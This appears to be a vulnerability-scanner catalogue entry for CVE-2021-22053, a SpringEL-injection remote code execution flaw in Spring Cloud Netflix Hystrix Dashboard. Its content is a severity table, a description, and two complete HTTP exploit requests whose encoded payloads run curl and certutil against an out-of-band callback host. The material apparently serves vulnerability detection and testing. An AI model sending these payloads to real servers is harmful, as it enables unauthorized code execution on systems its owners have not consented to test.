| Title | Spring Cloud Netflix Hystrix Dashboard <2.2.10 - Remote Code Execution |
|---|---|
| Author | forgedhallpass |
| Severity | High |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system. |
| Remediation | Upgrade to Spring Cloud Netflix Hystrix Dashboard version 2.2.10 or later to mitigate this vulnerability. |
| CVSS Score | 8.8 |
| EPSS Score | 0.85682 |
| CVE ID | CVE-2021-22053 |
| CWE ID | CWE-94 |
| Tags | cve cve2021 rce spring vmware vkev vuln |
Spring Cloud Netflix Hystrix Dashboard prior to version 2.2.10 is susceptible to remote code execution. Applications using both spring-cloud-netflix-hystrix-dashboard and spring-boot-starter-thymeleaf expose a way to execute code submitted within the request URI path during the resolution of view templates. When a request is made at /hystrix/monitor;[user-provided data], the path elements following hystrix/monitor are being evaluated as SpringEL expressions, which can lead to code execution.
GET /hystrix/;a=a/__$%7BT%20%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22curl%20http://d5jn77hle0o28m7amjk0m8f5kwh7x76n9.oast.live%22%29%7D__::.x/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/3.6.5
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /hystrix/;a=a/__$%7BT%20%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22certutil%20-urlcache%20-split%20-f%20http://d5jn77hle0o28m7amjk0hdjsgwh8aj8hp.oast.live%22%29%7D__::.x/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.3 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-22053.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-22053.pcap
N/AN/A